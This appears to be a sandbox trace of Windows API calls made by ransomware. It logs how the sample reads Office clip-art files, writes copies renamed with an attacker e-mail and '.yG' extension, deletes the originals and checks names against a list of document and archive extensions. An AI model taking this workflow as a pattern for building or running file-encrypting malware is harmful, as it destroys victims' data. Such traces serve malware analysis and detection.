	[0142.525] lstrlenW (lpString="DD01629_.WMF") returned 12
	[0142.525] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508
	[0144.112] GetFileSizeEx (in: hFile=0x508, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=580) returned 1
	[0144.112] CloseHandle (hObject=0x508) returned 1
	[0144.112] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf")) returned 0x220
	[0144.426] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0144.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0144.660] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0144.660] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0144.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0144.661] GetLastError () returned 0x0
	[0144.685] ReadFile (in: hFile=0x534, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x244, lpOverlapped=0x0) returned 1
	[0144.686] WriteFile (in: hFile=0x538, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x250, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x250, lpOverlapped=0x0) returned 1
	[0144.698] ReadFile (in: hFile=0x534, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0144.698] WriteFile (in: hFile=0x538, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0144.698] SetEndOfFile (hFile=0x538) returned 1
	[0144.699] CloseHandle (hObject=0x538) returned 1
	[0144.699] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0144.699] SetEndOfFile (hFile=0x534) returned 1
	[0144.702] CloseHandle (hObject=0x534) returned 1
	[0144.703] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0144.703] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf")) returned 1
	[0144.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68
	[0144.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68
	[0144.705] lstrlenW (lpString=".doc") returned 4
	[0144.705] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0144.705] lstrlenW (lpString=".docx") returned 5
	[0144.705] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0144.705] lstrlenW (lpString=".pdf") returned 4
	[0144.705] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0144.705] lstrlenW (lpString=".xls") returned 4
	[0144.705] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0144.705] lstrlenW (lpString=".xlsx") returned 5
	[0144.705] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0144.705] lstrlenW (lpString=".ppt") returned 4
	[0144.705] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0144.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68
	[0144.705] lstrlenW (lpString=".zip") returned 4
	[0144.705] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0144.705] lstrlenW (lpString=".rar") returned 4
	[0144.705] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0144.705] lstrlenW (lpString=".bz2") returned 4
	[0144.705] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0144.705] lstrlenW (lpString=".7z") returned 3
	[0144.705] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0144.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68
	[0144.706] lstrlenW (lpString=".dbf") returned 4
	[0144.706] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0144.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68
	[0144.706] lstrlenW (lpString=".1cd") returned 4
	[0144.706] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0144.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68
	[0144.706] lstrlenW (lpString=".jpg") returned 4
	[0144.706] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0144.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68
	[0144.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68
	[0144.706] lstrlenW (lpString=".doc") returned 4
	[0144.706] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0144.706] lstrlenW (lpString=".docx") returned 5
	[0144.706] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0144.706] lstrlenW (lpString=".pdf") returned 4
	[0144.706] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0144.706] lstrlenW (lpString=".xls") returned 4
	[0144.706] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0144.706] lstrlenW (lpString=".xlsx") returned 5
	[0144.706] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0144.706] lstrlenW (lpString=".ppt") returned 4
	[0144.706] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0144.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68
	[0144.706] lstrlenW (lpString=".zip") returned 4
	[0144.706] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0144.706] lstrlenW (lpString=".rar") returned 4
	[0144.706] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0144.707] lstrlenW (lpString=".bz2") returned 4
	[0144.707] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0144.707] lstrlenW (lpString=".7z") returned 3
	[0144.707] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0144.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68
	[0144.707] lstrlenW (lpString=".dbf") returned 4
	[0144.707] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0144.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68
	[0144.707] lstrlenW (lpString=".1cd") returned 4
	[0144.707] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0144.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68
	[0144.707] lstrlenW (lpString=".jpg") returned 4
	[0144.707] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0144.707] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0144.707] lstrlenW (lpString="EN00242_.WMF") returned 12
	[0144.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518
	[0145.266] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=6780) returned 1
	[0145.267] CloseHandle (hObject=0x518) returned 1
	[0145.267] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf")) returned 0x220
	[0145.267] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0145.268] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518
	[0145.276] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0145.277] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0145.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8
	[0145.278] GetLastError () returned 0x0
	[0145.278] ReadFile (in: hFile=0x518, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x1a7c, lpOverlapped=0x0) returned 1
	[0145.279] WriteFile (in: hFile=0x4d8, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x1a80, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x1a80, lpOverlapped=0x0) returned 1
	[0145.281] ReadFile (in: hFile=0x518, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0145.281] WriteFile (in: hFile=0x4d8, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0145.281] SetEndOfFile (hFile=0x4d8) returned 1
	[0145.281] CloseHandle (hObject=0x4d8) returned 1
	[0145.281] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0145.281] SetEndOfFile (hFile=0x518) returned 1
	[0145.284] CloseHandle (hObject=0x518) returned 1
	[0145.284] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0145.285] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf")) returned 1
	[0145.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68
	[0145.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68
	[0145.285] lstrlenW (lpString=".doc") returned 4
	[0145.285] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0145.285] lstrlenW (lpString=".docx") returned 5
	[0145.285] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0145.285] lstrlenW (lpString=".pdf") returned 4
	[0145.286] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0145.286] lstrlenW (lpString=".xls") returned 4
	[0145.286] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0145.286] lstrlenW (lpString=".xlsx") returned 5
	[0145.286] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0145.286] lstrlenW (lpString=".ppt") returned 4
	[0145.286] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0145.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68
	[0145.286] lstrlenW (lpString=".zip") returned 4
	[0145.286] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0145.286] lstrlenW (lpString=".rar") returned 4
	[0145.286] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0145.286] lstrlenW (lpString=".bz2") returned 4
	[0145.286] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0145.286] lstrlenW (lpString=".7z") returned 3
	[0145.286] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0145.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68
	[0145.286] lstrlenW (lpString=".dbf") returned 4
	[0145.286] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0145.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68
	[0145.287] lstrlenW (lpString=".1cd") returned 4
	[0145.287] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0145.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68
	[0145.287] lstrlenW (lpString=".jpg") returned 4
	[0145.287] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0145.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68
	[0145.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68
	[0145.287] lstrlenW (lpString=".doc") returned 4
	[0145.287] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0145.287] lstrlenW (lpString=".docx") returned 5
	[0145.287] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0145.287] lstrlenW (lpString=".pdf") returned 4
	[0145.287] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0145.287] lstrlenW (lpString=".xls") returned 4
	[0145.287] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0145.287] lstrlenW (lpString=".xlsx") returned 5
	[0145.287] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0145.287] lstrlenW (lpString=".ppt") returned 4
	[0145.288] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0145.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68
	[0145.288] lstrlenW (lpString=".zip") returned 4
	[0145.288] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0145.288] lstrlenW (lpString=".rar") returned 4
	[0145.288] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0145.288] lstrlenW (lpString=".bz2") returned 4
	[0145.288] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0145.288] lstrlenW (lpString=".7z") returned 3
	[0145.288] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0145.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68
	[0145.288] lstrlenW (lpString=".dbf") returned 4
	[0145.288] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0145.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68
	[0145.288] lstrlenW (lpString=".1cd") returned 4
	[0145.288] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0145.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68
	[0145.288] lstrlenW (lpString=".jpg") returned 4
	[0145.288] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0145.289] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0145.289] lstrlenW (lpString="FD00074_.WMF") returned 12
	[0145.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518
	[0145.290] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=17850) returned 1
	[0145.290] CloseHandle (hObject=0x518) returned 1
	[0145.290] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf")) returned 0x220
	[0145.290] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0145.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518
	[0145.291] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0145.291] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0145.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8
	[0145.291] GetLastError () returned 0x0
	[0145.292] ReadFile (in: hFile=0x518, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x45ba, lpOverlapped=0x0) returned 1
	[0145.296] WriteFile (in: hFile=0x4d8, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x45c0, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x45c0, lpOverlapped=0x0) returned 1
	[0145.298] ReadFile (in: hFile=0x518, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0145.298] WriteFile (in: hFile=0x4d8, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0145.298] SetEndOfFile (hFile=0x4d8) returned 1
	[0145.298] CloseHandle (hObject=0x4d8) returned 1
	[0145.299] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0145.299] SetEndOfFile (hFile=0x518) returned 1
	[0145.302] CloseHandle (hObject=0x518) returned 1
	[0145.302] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0145.303] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf")) returned 1
	[0145.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68
	[0145.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68
	[0145.303] lstrlenW (lpString=".doc") returned 4
	[0145.303] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0145.303] lstrlenW (lpString=".docx") returned 5
	[0145.303] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0145.303] lstrlenW (lpString=".pdf") returned 4
	[0145.303] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0145.304] lstrlenW (lpString=".xls") returned 4
	[0145.304] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0145.304] lstrlenW (lpString=".xlsx") returned 5
	[0145.304] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0145.304] lstrlenW (lpString=".ppt") returned 4
	[0145.304] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0145.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68
	[0145.304] lstrlenW (lpString=".zip") returned 4
	[0145.304] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0145.304] lstrlenW (lpString=".rar") returned 4
	[0145.304] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0145.304] lstrlenW (lpString=".bz2") returned 4
	[0145.304] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0145.304] lstrlenW (lpString=".7z") returned 3
	[0145.304] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0145.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68
	[0145.304] lstrlenW (lpString=".dbf") returned 4
	[0145.304] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0145.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68
	[0145.305] lstrlenW (lpString=".1cd") returned 4
	[0145.305] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0145.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68
	[0145.305] lstrlenW (lpString=".jpg") returned 4
	[0145.305] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0145.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68
	[0145.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68
	[0145.305] lstrlenW (lpString=".doc") returned 4
	[0145.305] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0145.305] lstrlenW (lpString=".docx") returned 5
	[0145.305] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0145.305] lstrlenW (lpString=".pdf") returned 4
	[0145.305] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0145.305] lstrlenW (lpString=".xls") returned 4
	[0145.305] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0145.305] lstrlenW (lpString=".xlsx") returned 5
	[0145.305] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0145.306] lstrlenW (lpString=".ppt") returned 4
	[0145.306] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0145.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68
	[0145.306] lstrlenW (lpString=".zip") returned 4
	[0145.306] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0145.306] lstrlenW (lpString=".rar") returned 4
	[0145.306] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0145.306] lstrlenW (lpString=".bz2") returned 4
	[0145.306] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0145.306] lstrlenW (lpString=".7z") returned 3
	[0145.306] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0145.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68
	[0145.306] lstrlenW (lpString=".dbf") returned 4
	[0145.306] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0145.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68
	[0145.306] lstrlenW (lpString=".1cd") returned 4
	[0145.306] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0145.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68
	[0145.306] lstrlenW (lpString=".jpg") returned 4
	[0145.306] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
